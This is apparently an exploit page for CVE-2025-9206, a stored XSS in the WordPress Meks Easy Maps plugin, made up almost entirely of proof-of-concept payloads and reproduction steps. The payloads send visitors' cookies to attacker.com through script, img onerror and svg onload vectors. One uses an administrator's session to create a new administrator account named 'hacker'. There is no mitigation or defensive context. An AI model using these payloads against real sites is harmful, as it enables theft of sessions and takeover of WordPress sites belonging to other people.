CVE-2025-9206 WordPress Meks Easy Maps插件存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-9206 --> <!-- Inject the following payload into the post title field when creating/editing a post as a Contributor-level user --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Using img tag onerror event (bypasses some filters) --> <img src=x onerror="var i=new Image();i.src='https://attacker.com/log?d='+btoa(document.cookie+'|'+document.domain);"> <!-- Payload 3: Using SVG with onload (useful if <script> tags are filtered) --> <svg/onload="fetch('https://attacker.com/x?'+document.cookie)"> <!-- Payload 4: Stealing admin session and creating new admin user --> <script> var xhr = new XMLHttpRequest(); xhr.open('POST', '/wp-admin/user-new.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('action=createuser&_wpnonce_create-user='+document.querySelector('#_wpnonce_create-user').value+'&user_login=hacker&[email protected]&pass1=Password123!&pass2=Password123!&role=administrator'); </script> <!-- Steps to reproduce: 1. Login as Contributor or higher 2. Create a new post with the malicious title above 3. Associate the post with a Meks Easy Maps map marker 4. Publish or submit for review 5. When any user (especially admin) views the page with the map, the script executes -->